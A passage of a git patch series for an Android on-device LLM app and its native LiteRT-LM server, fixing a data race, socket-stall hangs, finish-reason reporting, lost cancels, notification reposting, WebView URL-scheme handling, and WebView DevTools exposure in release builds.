a data race, so undefined behaviour. It is almost always benign, but a copy that overlaps the emplace_back can crash the engine. The usage and timings it computed were then thrown away: neither the stream's response.error nor the non-streaming 500 carries them. Older bug, not from this PR: origin/main made the same read while the decode went on uncancelled. 53156fe (bad tool call use-after-free) added the cancel, which only moves the cancel path's emplace_back closer to the copy. UsageAndTimings, and the max_completion_tokens "length" check that reads its result, now run only when there is no error. Error replies are unchanged: a streaming client gets response.error and [DONE], a non-streaming one the 500 with the runtime's message. Tests: none added; the repo has no test harness for this native server. Checked by hand with a stub liblitert-lm.so that, for a request with tools, sends the parse error marked final at the fourth chunk, keeps decoding until cancelled, and reports any get_benchmark_info call made while its decode thread is still running. Before the fix it reported one such read for every errored request, streaming and non-streaming; now none, the error replies are as above, and a plain request after them still gets its usage. With the real liblitert-lm.so 0.18.0 and the runtime's test_lm.litertlm, streaming and non-streaming requests (with and without max_completion_tokens) return the same finish reasons and usage as before. No existing test changed. The release build has 0 warnings. --- engines/litert-lm-server/src/main.cc | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) diff --git a/engines/litert-lm-server/src/main.cc b/engines/litert-lm-server/src/main.cc index 81b0452..eeab771 100644 --- a/engines/litert-lm-server/src/main.cc +++ b/engines/litert-lm-server/src/main.cc @@ -1146,8 +1146,13 @@ void HandleChatCompletions(int fd, const Request& req) { } json usage, timings; - UsageAndTimings(conv.get(), reasoning_tokens, usage, timings); - if (finish == "stop" && max_tokens && usage["completion_tokens"].get() >= *max_tokens) finish = "length"; + // Not after an error, whose reply carries neither: the generation may still be running then (the cancel above only + // asks it to stop), and the runtime copies the session's benchmark info under a lock its decode thread does not + // take while writing it. + if (!error) { + UsageAndTimings(conv.get(), reasoning_tokens, usage, timings); + if (finish == "stop" && max_tokens && usage["completion_tokens"].get() >= *max_tokens) finish = "length"; + } if (stream) { if (error) { From 4f0185c943ba6a9ace5e537e3a21573287931722 Mon Sep 17 00:00:00 2001 From: ciroprogamer86 <132161765+ciroprogamer@users.noreply.github.com> Date: Fri, 16 Oct 2026 09:36:03 +0000 Subject: [PATCH 20/80] fix(litert-lm-server): stalled stream reader no longer hangs the engine SendAll writes with a blocking send(), accepted sockets had only SO_RCVTIMEO, and chat completion and /v1/models responses are written under g_engine_mu, which HandleChatCompletions holds from the engine lookup to its last write. A client that asks for a stream and never reads fills the socket buffers with a couple of MB of SSE (it controls the size: the request's `model` string is echoed in every chunk), and the next send() then blocked for as long as the client kept the connection open. The disconnect poll only notices a closed peer, never a stalled one. Every later chat and /v1/models request hung meanwhile, while /health, written without the lock, still said ok. The realistic trigger is another app talking straight to the engine port; the daemon's gateway always reads (it tees the upstream body and drains a copy for stats). That access is the known "Android engines have no auth" item, but this made it a free, indefinite wedge rather than a busy engine. Older bug, not from this PR: origin/main has the same SendAll and the same SO_RCVTIMEO-only setup. - main(): every accepted socket now also gets a 30 s SO_SNDTIMEO. A send() then gives up after 30 s, returning what it got out, which SendAll takes as progress, or failing with EAGAIN when it got nothing out. In the streaming loop a failed send already ends the stream as a disconnect does and cancels the generation. A client that reads nothing is dropped within one to two minutes: each send that still gets a few bytes out waits its own 30 s, and after the buffers first fill the kernel can free a little room once more, so one or two partial sends can come before the one that fails. A client that reads is served however slowly, as long as it never leaves the buffers full for 30 s. The SO_RCVTIMEO comment no longer says writes are unaffected. - HandleChatCompletions: the stream's closing writes (the finish chunk or response.error, the usage chunk, [DONE]) stop at the first one that fails, so a client that stops reading at the very end does not cost one more timeout per write. - SendAll: a comment says it also fails for a stalled client now. Behaviour change: once a client's socket buffers are full, a write that gets nothing out for 30 s fails. A streaming client is then cut off as on a disconnect and its generation cancelled. This holds for every response the server writes; a client that keeps reading is unaffected. Tests: none added; the repo has no test harness for this native server. Checked by hand with a stub liblitert-lm.so that streams 4 KiB chunks without end: a client with a 1 KiB receive buffer asks for a stream and never reads, and a /v1/models request follows 3 s later. Before the fix /v1/models got no answer within 95 s, the server sitting in send(); now it is answered after about 61 s with the stub at 5 ms a chunk (two 30 s timeouts) and after about 92 s at 1 ms a chunk (three), and the stalled stream's generation is cancelled. A client reading 256 KiB a second still gets a 4.4 MB stream whole, ending in finish_reason "stop" and [DONE]. With the real liblitert-lm.so 0.18.0 and the runtime's test_lm.litertlm, streaming and non-streaming requests return the same finish reasons and usage as before. No existing test changed. The release build has 0 warnings. --- engines/litert-lm-server/src/main.cc | 30 ++++++++++++++++++++-------- 1 file changed, 22 insertions(+), 8 deletions(-) diff --git a/engines/litert-lm-server/src/main.cc b/engines/litert-lm-server/src/main.cc index eeab771..5abfe85 100644 --- a/engines/litert-lm-server/src/main.cc +++ b/engines/litert-lm-server/src/main.cc @@ -506,6 +506,8 @@ struct Request { std::vector g_cors_origins; +// False once the connection is gone, or once the client has stopped reading: every accepted socket has a 30 s +// SO_SNDTIMEO (see main), and a send() that times out with nothing sent fails with EAGAIN. bool SendAll(int fd, const std::string& data) { size_t off = 0; while (off < data.size()) { @@ -1155,21 +1157,24 @@ void HandleChatCompletions(int fd, const Request& req) { } if (stream) { + // Stop at the first send that fails: to a client that has stopped reading, each further one would wait out the + // send timeout again while this request holds the engine. + bool ok; if (error) { // openai_common.OpenAIStreamFormatter.format_error - SendAll(fd, "event: response.error\ndata: " + - json({{"error", "RuntimeError: " + *error}}).dump(-1, ' ', false, json::error_handler_t::replace) + "\n\n"); + ok = SendAll(fd, "event: response.error\ndata: " + + json({{"error", "RuntimeError: " + *error}}).dump(-1, ' ', false, json::error_handler_t::replace) + "\n\n"); } else { json last = make_chunk(json::array({{{"index", 0}, {"delta", json::object()}, {"finish_reason", finish}}})); last["timings"] = timings; - SendAll(fd, Sse(last)); - if (include_usage) { + ok = SendAll(fd, Sse(last)); + if (ok && include_usage) { json u = make_chunk(json::array()); u["usage"] = usage; - SendAll(fd, Sse(u)); + ok = SendAll(fd, Sse(u)); } } - SendAll(fd, "data: [DONE]\n\n"); + if (ok) SendAll(fd, "data: [DONE]\n\n"); return; } @@ -1358,10 +1363,19 @@ int main(int argc, char** argv) { } int one = 1; ::setsockopt(fd, IPPROTO_TCP, TCP_NODELAY, &one, sizeof(one)); - // A client that connects and never sends a request must not hold a thread forever. Applies to reads only; - // a long generation's writes and the disconnect poll are unaffected. + // A client that connects and never sends a request must not hold a thread forever. timeval rcv_timeout{60, 0}; ::setsockopt(fd, SOL_SOCKET, SO_RCVTIMEO, &rcv_timeout, sizeof(rcv_timeout)); + // Nor may one that stops reading. Chat completion and /v1/models responses are written under g_engine_mu, so a + // send blocked on a full socket held the engine, and with it every later chat and /v1/models request, for as long + // as the client kept the connection open. Now a send() gives up after 30 s: with a partial count if it got some + // bytes out, which SendAll takes as progress, else with an error, which ends a stream like a disconnect and cancels + // its generation. A client that reads nothing is dropped within one to two minutes: each send that still gets a few + // bytes out waits its own 30 s, and the kernel can free a little room once more after the buffers first fill. One + // that reads is served however slowly, as long as it never leaves the buffers full for 30 s. The disconnect poll is + // unaffected. + timeval snd_timeout{30, 0}; + ::setsockopt(fd, SOL_SOCKET, SO_SNDTIMEO, &snd_timeout, sizeof(snd_timeout)); std::thread(HandleConnection, fd).detach(); } Log("Shutting down server..."); From 49d0b9e88d9527de6738c9d4b7b01ca3e37b9677 Mon Sep 17 00:00:00 2001 From: ciroprogamer86 <132161765+ciroprogamer@users.noreply.github.com> Date: Fri, 16 Oct 2026 09:38:13 +0000 Subject: [PATCH 21/80] fix(litert-lm-server): context-window cut-off reports length, not stop A reply cut off because the KV cache filled up ended with finish_reason "stop", as if the model had finished, unless the request's own max_completion_tokens happened to be reached as well. The server gave "length" for a full window only when the runtime sent an error starting "RESOURCE_EXHAUSTED: Max number of tokens reached", and LiteRT-LM 0.18.0's conversation C API never sends one: the conversation reports a full cache (kMaxNumTokensReached) as an error only with return_error_on_max_tokens_reached, which defaults to false (conversation.h) and which the C API's config builder never sets, so the turn ends with an ordinary final chunk. Any chat whose prompt plus reply outgrows the context the daemon configures (max_num_tokens, from the model's context setting) hits it, and the client takes a truncated answer for a complete one; the daemon's Messages-API gateway, for one, then says stop_reason "end_turn" instead of "max_tokens". Older bug, not from this PR: origin/main had the same dead check (as a substring match). 53156fe (bad tool call use-after-free) said the runtime's max-tokens error "starts with RESOURCE_EXHAUSTED:"; that is the conversation API's error text, but 0.18.0's C API never sends it. - After a normal final chunk, a "stop" now becomes "length" when the engine's max_num_tokens (from the model reference or the config) is set and prompt plus completion tokens, the counts usage already reports, reach it. The runtime stops at exactly that point, and the request's conversation is new, so its KV cache holds just this prompt (earlier messages included) and the reply. A bundle whose own cache is smaller than the configured limit still caps the window lower unseen, and such a reply still reads "stop". - The RESOURCE_EXHAUSTED branch stays, for a runtime that does report the error, with a comment that 0.18.0's C API never does. The header comment says which two cut-offs give "length". Behaviour change: a reply that fills the configured context window now ends with finish_reason "length", streaming and non-streaming, instead of "stop". Usage and timings are unchanged. Tests: none added; the repo has no test harness for this native server. Checked by hand against the real liblitert-lm.so 0.18.0 with the runtime's test_lm.litertlm (a 128-token cache that never emits a stop token): with max_num_tokens 48 in the model reference, or 64 in --config's default section, with and without earlier messages, both stream modes ended "stop" before the fix and end "length" now, with the same usage: prompt plus completion equal to the window (3 + 45 at 48 and 3 + 61 at 64 for one message, 8 + 40 and 8 + 56 for three short ones). With a window of 4096, above the bundle's own 128 tokens, a reply still reads "stop", as described. A stub liblitert-lm.so that stops at the window as the runtime does also checks that a reply ending naturally under the window, or with no window set, still reads "stop", and max_completion_tokens still gives "length". No existing test changed. The release build has 0 warnings. --- engines/litert-lm-server/src/main.cc | 13 ++++++++++++- 1 file changed, 12 insertions(+), 1 deletion(-) diff --git a/engines/litert-lm-server/src/main.cc b/engines/litert-lm-server/src/main.cc index 5abfe85..076bfb3 100644 --- a/engines/litert-lm-server/src/main.cc +++ b/engines/litert-lm-server/src/main.cc @@ -23,7 +23,8 @@ // - `timings` (llama.cpp's field names) on the final response, taken from the runtime's own // benchmark counters, so speed is measured rather than derived from time-to-first-token. // - Thinking-channel text streamed as `reasoning_content` instead of being dropped. -// - "length" as the finish reason when the token budget runs out. +// - "length" as the finish reason when the reply is cut off: by max_completion_tokens, or by the +// context window when the model reference or the config sets its size (max_num_tokens). // - A client that disconnects cancels its generation instead of letting it run on. // - Requests are served concurrently; only inference itself is serialized (the engine is one // shared resource, exactly as in the Python server, which serialized everything). @@ -1109,6 +1110,8 @@ void HandleChatCompletions(int fd, const Request& req) { if (item.text.rfind("CANCELLED:", 0) == 0) { // a cancelled turn ends quietly, as in the Python client } else if (item.text.rfind("RESOURCE_EXHAUSTED: Max number of tokens reached", 0) == 0) { + // A full context window, from a runtime that reports it as an error. LiteRT-LM 0.18.0's C API never does + // (see the token-count check below). finish = "length"; } else { error = item.text; @@ -1154,6 +1157,14 @@ void HandleChatCompletions(int fd, const Request& req) { if (!error) { UsageAndTimings(conv.get(), reasoning_tokens, usage, timings); if (finish == "stop" && max_tokens && usage["completion_tokens"].get() >= *max_tokens) finish = "length"; + // A full context window ends the turn with an ordinary final chunk: the conversation API reports it as an error + // only with return_error_on_max_tokens_reached, which defaults to off and which LiteRT-LM 0.18.0's C API has no + // way to turn on. So it is told from the counts. The runtime stops once the KV cache holds max_num_tokens, and + // this request's conversation is new, so its cache holds just this prompt (earlier messages included) and the + // reply. Only a limit this server set is known: a bundle whose own cache is smaller caps the window lower, and + // a reply cut off there still reads "stop". + const int window = g_engine.key.max_num_tokens; + if (finish == "stop" && window > 0 && usage["total_tokens"].get() >= window) finish = "length"; } if (stream) { From cffc1bb330fb65ad154a500687b09005e84d4d0d Mon Sep 17 00:00:00 2001 From: ciroprogamer86 <132161765+ciroprogamer@users.noreply.github.com> Date: Fri, 16 Oct 2026 09:42:01 +0000 Subject: [PATCH 22/80] fix(litert-lm-server): disconnect cancel is retried until the turn ends The drain loop's 200 ms peer check cancels the generation once a client has disconnected, and then stopped checking: watch_peer returned as soon as `cancelled` was set. LiteRT-LM 0.18.0 can lose that cancel. litert_lm_conversation_cancel_process ends in CancelAllTasksInSession, which sets the cancelled flag of the session's active tasks only. The prefill task checks its flag for the last time just after Tasks::Prefill; then come GetProcessedTokens, FinishTask and the callback in which the Conversation calls SessionAdvanced::RunDecodeAsync, which gives the last prefill and the decode task a new flag and queues them only then. A cancel landing in that gap sets only the finished prefill's flag. The turn then ran to its natural end or the token limit for a client that was gone, holding g_engine_mu the whole time, so every other request waited. The window is narrow (microseconds to about a millisecond per request, against the 200 ms tick), so it takes a client that gives up right as prefill ends, for instance on a long prompt. Older bug, not from this PR: origin/main has the same single-shot watch_peer. watch_peer now re-issues the cancel on every 200 ms tick while client_gone is set, whether the peer check or a failed streaming write set it, until the final chunk ends the drain loop. A cancel lost in the gap is repeated at most 200 ms later, once the decode task is queued and can take it. Cancelling is idempotent, and a no-op once the turn has ended. The peer itself is still checked only until the first cancel. Tests: none added; the repo has no test harness for this native server. Checked by hand with a stub liblitert-lm.so that loses the first cancel call, as one landing in the gap is lost, and decodes 6000 chunks at 1 ms each. A client disconnecting 300 ms into a request left the turn running to all 6000 chunks before the fix, a following /v1/models request waiting 6.6 s (non-streaming) and 7.1 s (streaming); now the second cancel stops the turn and /v1/models answers in 0.35 and 0.15 s. With the real liblitert-lm.so 0.18.0 behind a shim that slows each chunk (to 20 and to 300 ms, so the turn outlasts a few ticks), a client disconnecting mid-turn in either mode still ends it quietly ("client disconnected"), the runtime takes the repeated cancels (two per turn at 300 ms) without complaint, and the next request is served whole. The stub checks for the earlier fixes (error replies, stalled and slow readers, finish reasons) still pass. No existing test changed. The release build has 0 warnings. With all four fixes in place, NDK 27 builds for arm64-v8a and x86_64 have 0 warnings, and an ASan build over the stub checks and the real-library runs reports nothing. --- engines/litert-lm-server/src/main.cc | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) diff --git a/engines/litert-lm-server/src/main.cc b/engines/litert-lm-server/src/main.cc index 076bfb3..f87ba02 100644 --- a/engines/litert-lm-server/src/main.cc +++ b/engines/litert-lm-server/src/main.cc @@ -1072,9 +1072,15 @@ void HandleChatCompletions(int fd, const Request& req) { auto next_peer_check = std::chrono::steady_clock::now() + std::chrono::milliseconds(200); auto watch_peer = [&] { auto now = std::chrono::steady_clock::now(); - if (cancelled || now < next_peer_check) return; + if (now < next_peer_check) return; next_peer_check = now + std::chrono::milliseconds(200); - if (PeerGone(fd)) { + if (client_gone) { + // Cancel again on every tick until the final chunk. A cancel flags only the tasks the runtime has already + // queued, and the decode task is queued, with a fresh flag, only once the prefill task has finished: a cancel + // landing in between is lost, and the turn would run to its end for nobody, holding the engine. Cancelling a + // turn that has ended is a no-op. + L.litert_lm_conversation_cancel_process(conv.get()); + } else if (!cancelled && PeerGone(fd)) { client_gone = cancelled = true; L.litert_lm_conversation_cancel_process(conv.get()); } From bd6118800c6c70a3f73b52001ce2070b7fe9b30e Mon Sep 17 00:00:00 2001 From: ciroprogamer86 <132161765+ciroprogamer@users.noreply.github.com> Date: Fri, 16 Oct 2026 15:53:05 +0000 Subject: [PATCH 23/80] fix(android): a notification dropped before a grant is posted again appClosed() judged Quit reachable from the notification settings alone (notifications on for the app, the Engine channel not off) and never checked that the notification was up. On Android 13+ a post made without POST_NOTIFICATIONS is dropped for good, and nothing posted it again after a grant: the app posts only at startForeground in onCreate, from the thermal listener, on a swipe (REPOST) and when the import, download or busy state changes. startForeground and the thermal listener's first callback post before the user can answer the permission prompt, and the activity is singleTask with a full configChanges list, so coming back from Settings runs no onCreate. A user who denied the prompt, later allowed notifications in Settings with the process still alive, loaded a model and pressed Back was left with the service in the foreground, the model in memory and no notification or Quit, until a generation, download or import happened to post it or the app was reopened. The same held when the user turned the Engine channel off (long-press on the notification) after leaving: that removes the notification without sending its delete intent, and nothing checked again. Older bug, not from this PR: origin/main has the same appClosed() and quitReachable(). - EngineService.kt: appClosed() posts the notification again before asking quitReachable(), so the settings it reads match the shade. When it keeps the service for Quit it sets closedWithQuit, and the poll then re-checks quitReachable() every 3 s; once Quit cannot be reached it runs appClosed() again, which sets stopWhenIdle and so unloads and stops when idle, as with notifications off. A plain start (the app reopened) clears the flag. New repostNotification() sends the existing ACTION_REPOST. - MainActivity.kt: onResume() calls repostNotification(), so a grant at the first-launch prompt or in Settings shows the notification as soon as the app is on screen again. There is no new startForeground: REPOST only notifies again from a running service, and stops a service it had to create. - PLAY-FGS-DECLARATION.md: says that turning the notification off after leaving the app also unloads and stops. Behaviour change: the engine notification is posted again, silently, each time the app comes on screen and when it is closed. After Back or a swipe from Recents with the notification up, turning the Engine channel off now unloads the model and stops the service once nothing is generating, importing or downloading. Tests: there is no Kotlin test harness in this repo, so none is added. Checked on the JVM with the real EngineService.kt, compiled with kotlinc 2.2.20 against stubs that model the system: a post without the permission or with the channel off is dropped, startForeground makes the service foreground whatever happens to its post, turning the channel off removes the notification without the delete intent, and the daemon is unreachable (every query reads idle, the engine/stop call is recorded). Before the fix two cases failed: a grant after startForeground, then Back, left the service in the foreground with nothing shown and the model loaded; the channel turned off after Back left it running for good. With the fix the first shows the notification and the second unloads and stops within one poll. Each half is needed: without the post in appClosed() the first fails again, without the poll check the second. Unchanged before and after: notifications off throughout (Back unloads and stops), the notification up on Back (the service stays), the channel turned off while the app is only in the background or after it was reopened (nothing stops), and ACTION_REPOST after a grant (posted). compileDebugKotlinAndroid passes. Not run on a device. --- PLAY-FGS-DECLARATION.md | 5 ++- .../kotlin/com/turbollm/app/EngineService.kt | 38 +++++++++++++++++-- .../kotlin/com/turbollm/app/MainActivity.kt | 5 +++ 3 files changed, 43 insertions(+), 5 deletions(-) diff --git a/PLAY-FGS-DECLARATION.md b/PLAY-FGS-DECLARATION.md index 8471b65..53eac38 100644 --- a/PLAY-FGS-DECLARATION.md +++ b/PLAY-FGS-DECLARATION.md @@ -51,8 +51,9 @@ during generation. > throttled, "Running. The phone is hot, so generation will be slower" or "Generating. The phone is hot, so it is > throttling speed". If the user has turned notifications off, so Quit cannot be reached, leaving the app (Back, or > swiping it away from Recents) unloads the model and stops the service as soon as nothing is generating, importing or -> downloading; a paused or failed download does not keep it running. A partial wake lock is held only while a reply -> is being generated or a model imported or downloaded, never while idle. +> downloading; a paused or failed download does not keep it running. Turning the notification off after leaving the +> app does the same. A partial wake lock is held only while a reply is being generated or a model imported or +> downloaded, never while idle. **Why does no other foreground service type fit?** diff --git a/composeApp/src/androidMain/kotlin/com/turbollm/app/EngineService.kt b/composeApp/src/androidMain/kotlin/com/turbollm/app/EngineService.kt index 70d09a5..5af073a 100644 --- a/composeApp/src/androidMain/kotlin/com/turbollm/app/EngineService.kt +++ b/composeApp/src/androidMain/kotlin/com/turbollm/app/EngineService.kt @@ -54,6 +54,9 @@ class EngineService : Service() { /** Set when the app was closed with notifications off: stop as soon as nothing is generating, importing or * downloading (see appClosed). */ @Volatile private var stopWhenIdle = false + /** Set when the app was closed with Quit reachable, so the service stayed for it: the poll then keeps checking + * that Quit can still be reached (see pollActivity). */ + @Volatile private var closedWithQuit = false /** The newest start request, so a stop only takes effect if no start arrived after it (stopSelfResult). Without * this, Back then a quick reopen could stop the service under a pending startForegroundService, which Android * answers by crashing the app ("did not then call Service.startForeground()"). */ @@ -103,11 +106,13 @@ class EngineService : Service() { } if (intent?.action == ACTION_REPOST) { // Android 14+ lets the user swipe the engine notification away (setOngoing no longer prevents it), and its - // Quit with it, while appClosed() keeps counting on Quit being there. Put it straight back. + // Quit with it, while appClosed() keeps counting on Quit being there. Put it straight back. MainActivity + // sends this too whenever it comes on screen (repostNotification). if (running) updateNotification() else stopSelf(startId) return START_NOT_STICKY } stopWhenIdle = false + closedWithQuit = false ServiceCompat.startForeground( this, NOTIFICATION_ID, buildNotification(), if (Build.VERSION.SDK_INT >= 34) ServiceInfo.FOREGROUND_SERVICE_TYPE_SPECIAL_USE else 0, @@ -156,13 +161,23 @@ class EngineService : Service() { * stops once nothing is generating, importing or downloading, and the process becomes an ordinary closed app * Android can reclaim. */ private fun appClosed() { - if (quitReachable()) return + // Post it again first. quitReachable() reads the settings, not the shade, and a post made while notifications + // were off is dropped for good: on Android 13+ startForeground posts before the user can answer the + // permission prompt, and a later grant (at that prompt, or in Settings with the process still alive) re-posts + // nothing. Without this, Back after such a grant left the service and the model running with no notification + // and no Quit. Posted now, the notification is up whenever the settings say it can be. + updateNotification() + if (quitReachable()) { + closedWithQuit = true + return + } + closedWithQuit = false stopWhenIdle = true if (!busy) stopNow() } /** Whether the notification, and its Quit, can be seen: notifications on for the app (Android 13+ asks) and the - * Engine channel not turned off on its own. */ + * Engine channel not turned off on its own. It reads the settings, not the shade, so appClosed posts first. */ private fun quitReachable(): Boolean { if (!NotificationManagerCompat.from(this).areNotificationsEnabled()) return false if (Build.VERSION.SDK_INT >= 26) { @@ -235,6 +250,14 @@ class EngineService : Service() { wakeLock?.acquire(30 * 60 * 1000L) // renew the timeout for work that is still going } } + // The service stayed for Quit when the app was closed, but the user can still turn the Engine channel off + // (long-press on the notification). That removes the notification without sending its delete intent, so + // nothing else notices: decide again, as appClosed would now (on the main thread, where onDestroy runs, so + // a destroyed service posts nothing). (Revoking the app's notification permission on Android 13+ kills + // the process, which frees the model anyway.) + if (closedWithQuit && !quitReachable()) { + ContextCompat.getMainExecutor(this).execute { if (running && closedWithQuit) appClosed() } + } if (stopWhenIdle && !nowBusy) { ContextCompat.getMainExecutor(this).execute { if (stopWhenIdle && !busy) stopNow() } } @@ -347,6 +370,15 @@ class EngineService : Service() { }.onFailure { Log.w(TAG, "could not reach the engine service", it) } } + /** The app came on screen: post the notification again (ACTION_REPOST). One dropped while notifications were + * off then shows as soon as the user allows them, at the first-launch prompt or in Settings, since Android + * re-posts nothing on a grant and returning to the app (singleTask, no recreation) does not run start(). */ + fun repostNotification(context: Context) { + runCatching { + context.startService(Intent(context, EngineService::class.java).setAction(ACTION_REPOST)) + }.onFailure { Log.w(TAG, "could not reach the engine service", it) } + } + fun start(context: Context) { runCatching { ContextCompat.startForegroundService(context, Intent(context, EngineService::class.java)) diff --git a/composeApp/src/androidMain/kotlin/com/turbollm/app/MainActivity.kt b/composeApp/src/androidMain/kotlin/com/turbollm/app/MainActivity.kt index 2a2ab25..0e1dc86 100644 --- a/composeApp/src/androidMain/kotlin/com/turbollm/app/MainActivity.kt +++ b/composeApp/src/androidMain/kotlin/com/turbollm/app/MainActivity.kt @@ -132,6 +132,11 @@ class MainActivity : ComponentActivity() { override fun onResume() { super.onResume() + // Post the engine notification (and its Quit) again whenever the app comes on screen, the permission prompt + // closing and a return from Settings included. Android drops a post made without the permission for good and + // re-posts nothing on a grant, and the first post (startForeground, from onCreate) goes out before the user + // can answer the prompt. + EngineService.repostNotification(this) storageAccess.onResume() DaemonLog.rotateIfLarge(filesDir) } From 3f736e182fcdf9678f76c829923c580e6f8dfa41 Mon Sep 17 00:00:00 2001 From: ciroprogamer86 <132161765+ciroprogamer@users.noreply.github.com> Date: Fri, 16 Oct 2026 15:56:31 +0000 Subject: [PATCH 24/80] fix(android): mailto, xmpp and irc links no longer replace the UI shouldOverrideUrlLoading sent only http(s) links to the system. Any other scheme but turbollm-app fell through to `return false`, so the WebView loaded it in the main frame, and since it cannot load mailto:, xmpp: or irc:, it replaced the app's UI with Chromium's ERR_UNKNOWN_URL_SCHEME page. The web UI renders such links: the chat markdown (remark-gfm) turns a bare e-mail address in any reply into a mailto: link, and react-markdown and the model card's sanitizer (hast-util-sanitize's default schema) keep mailto, xmpp, irc and ircs hrefs. Tapping one composed no e-mail, and Back reloaded the UI from scratch (the WebView keeps no back-forward cache), closing an open Hugging Face dialog and dropping a typed message. Older bug, not from this PR: origin/main has the same http/https-only check followed by `return false`. DaemonWebView.kt, shouldOverrideUrlLoading: a navigation to any scheme other than http, https, about, data, blob and javascript (what the WebView loads itself, the UI's frames included; turbollm-app is handled earlier) is never loaded. In the main frame, mailto, xmpp, irc, ircs and tel go to the app that handles them with ACTION_VIEW, inside runCatching like the web links, so with no such app installed nothing happens. Every other scheme (intent:, market:, file:, content:, another app's deep link) does nothing: an allowlist keeps untrusted text in a reply or a model card from firing arbitrary app links. Sub-frame navigations to these schemes are dropped too. Behaviour change: a mailto:, xmpp:, irc:, ircs: or tel: link opens the mail, chat or phone app; a link with any other non-web scheme does nothing instead of showing an error page. Tests: there is no Kotlin test harness in this repo, so none is added. Checked on the JVM: shouldOverrideUrlLoading and the file's top-level URL and scheme constants, taken unchanged from DaemonWebView.kt and compiled with kotlinc 2.2.20 against stubs for Uri, WebView, WebResourceRequest and Context, run over 22 navigations. Before the fix 10 failed: mailto:, xmpp:, irc:, ircs: and tel: in the main frame, and intent:, market:, file:, content: and a sub-frame mailto:, all returned false (loaded by the WebView). After it all pass: the five contact links open with ACTION_VIEW, the others return true and open nothing. http(s) on 127.0.0.1:7000, about:, data:, blob: and javascript: still go to the WebView, and external https links, the localhost:7000 rewrite, other 127.0.0.1 ports and turbollm-app://import-model behave as before. compileDebugKotlinAndroid passes. Not run on a device. --- .../kotlin/com/turbollm/app/DaemonWebView.kt | 20 +++++++++++++++++++ 1 file changed, 20 insertions(+) diff --git a/composeApp/src/androidMain/kotlin/com/turbollm/app/DaemonWebView.kt b/composeApp/src/androidMain/kotlin/com/turbollm/app/DaemonWebView.kt index 8073f7b..f8f68a1 100644 --- a/composeApp/src/androidMain/kotlin/com/turbollm/app/DaemonWebView.kt +++ b/composeApp/src/androidMain/kotlin/com/turbollm/app/DaemonWebView.kt @@ -54,6 +54,15 @@ private val DAEMON_URL = "http://127.0.0.1:$ANDROID_DAEMON_PORT/" /** The daemon UI's origin, with the trailing slash so a look-alike host cannot match. */ private val DAEMON_ORIGIN = DAEMON_URL +/** Schemes the WebView loads itself: web pages, and what the UI's own frames use. Navigations to any other scheme are + * never loaded (shouldOverrideUrlLoading); turbollm-app is handled before that check. */ +private val WEBVIEW_SCHEMES = setOf("http", "https", "about", "data", "blob", "javascript") + +/** Contact links handed to the app that handles them (tel only opens the dialer). The web UI's markdown and model-card + * sanitizers allow mailto, xmpp, irc and ircs links, and GFM turns a bare e-mail address in a reply into a mailto + * link. */ +private val HANDED_OFF_SCHEMES = setOf("mailto", "xmpp", "irc", "ircs", "tel") + /** Confirmed live (2026-09-03) via Chrome DevTools attached over the WebView's own devtools * socket: this WebView (Android System WebView, Chromium 145 on this emulator) resolves ANY * raw `vh`-family CSS length (`vh`/`dvh`/`svh`/`lvh`) to a literal 0px — not just on @@ -346,6 +355,17 @@ private fun TurboLLMWebView() { runCatching { view.context.startActivity(Intent(Intent.ACTION_VIEW, url)) } return true } + // A scheme the WebView cannot load: navigated to, it replaced the app's UI with an + // ERR_UNKNOWN_URL_SCHEME page, and Back then reloaded the UI from scratch, losing its state. A + // contact link (mailto: and the like) opens in the app that handles it, main frame only, like + // the links above. Anything else (intent:, market:, file:, another app's deep link) does + // nothing, since what the page shows (a reply, a model card) is not to be trusted to open apps. + if (url.scheme !in WEBVIEW_SCHEMES) { + if (request.isForMainFrame && url.scheme in HANDED_OFF_SCHEMES) { + runCatching { view.context.startActivity(Intent(Intent.ACTION_VIEW, url)) } + } + return true + } // Another 127.0.0.1 port would be sent the app-secret cookie (see shouldInterceptRequest // below). Unlike that callback, this one runs again for each redirect hop of a main-frame // navigation, so a link that 302s to 127.0.0.1: is stopped here, before that From 670e391b7b4ea79c879f89ad2cdf4d3d9bc9c6e5 Mon Sep 17 00:00:00 2001 From: ciroprogamer86 <132161765+ciroprogamer@users.noreply.github.com> Date: Fri, 16 Oct 2026 16:00:15 +0000 Subject: [PATCH 25/80] fix(android): WebView remote debugging only in debuggable builds DaemonWebView called WebView.setWebContentsDebuggingEnabled(true) unconditionally, so release and Play builds exposed the WebView's DevTools socket. Chromium admits the shell UID to it, so a computer with adb access to the phone (USB debugging on and authorized) could forward webview_devtools_remote_ and attach. Script run there (Runtime.evaluate) executes in the http://127.0.0.1:7000 origin, where every request carries the HttpOnly turbollm_app cookie, and the Network domain returns that cookie as well. The daemon then treats the host as the app: the whole keyless API, local-admin routes and POST /api/v1/keys included, without anything showing on screen. That contradicts BUILDING-ENGINES.md ("adb, curl and Termux count as another app on the phone and need an API key") and 0af73e3's "adb cannot create a key either". Other apps never got in: the socket refuses their UIDs. An adb host can already drive the app's UI to create a key, so what this added was doing it unseen. Older line, from origin/main (402e32a), but it only gets around anything since 8568672 (fix(android): per-launch app secret so other apps can't use the daemon) in this PR; before that, loopback was keyless for every caller. - DaemonWebView.kt: debugging is turned on only when the app is debuggable (ApplicationInfo.FLAG_DEBUGGABLE, which AGP sets for the debug build type). BuildConfig.DEBUG is not used: the module leaves BuildConfig generation off, as AGP 8 does by default. A debug build keeps DevTools as before. - BUILDING-ENGINES.md: says that only a debug build lets an adb host skip the key, through DevTools, and that release builds turn WebView debugging off. QA keeps working on debug builds. QA_BUGS.md drove composeApp-debug.apk over CDP; QA_UX_REPORT.md does not say which build type it drove. A CDP pass now needs a debug build, and assembleDebug with -PturbollmApplicationIdSuffix=.test installs one next to the Play app. RELEASING.md has no CDP step. Behaviour change: release builds no longer open the WebView DevTools socket, so chrome://inspect no longer lists them. Tests: there is no Kotlin test harness in this repo, so none is added. Checked on the JVM: the setWebContentsDebuggingEnabled statement of the WebView factory, taken unchanged from DaemonWebView.kt and compiled with kotlinc 2.2.20 against stubs, run with an ApplicationInfo with and without FLAG_DEBUGGABLE. Before the fix the non-debuggable case turned debugging on (fails); after it, debugging is off there and on in the debuggable case. In the real build, the compiled DaemonWebViewKt tests flags & 2 before the call, and the debug variant's merged manifest carries android:debuggable="true", while the source manifest and the release build type set none. compileDebugKotlinAndroid passes. Not run on a device. --- BUILDING-ENGINES.md | 4 +++- .../kotlin/com/turbollm/app/DaemonWebView.kt | 10 +++++++++- 2 files changed, 12 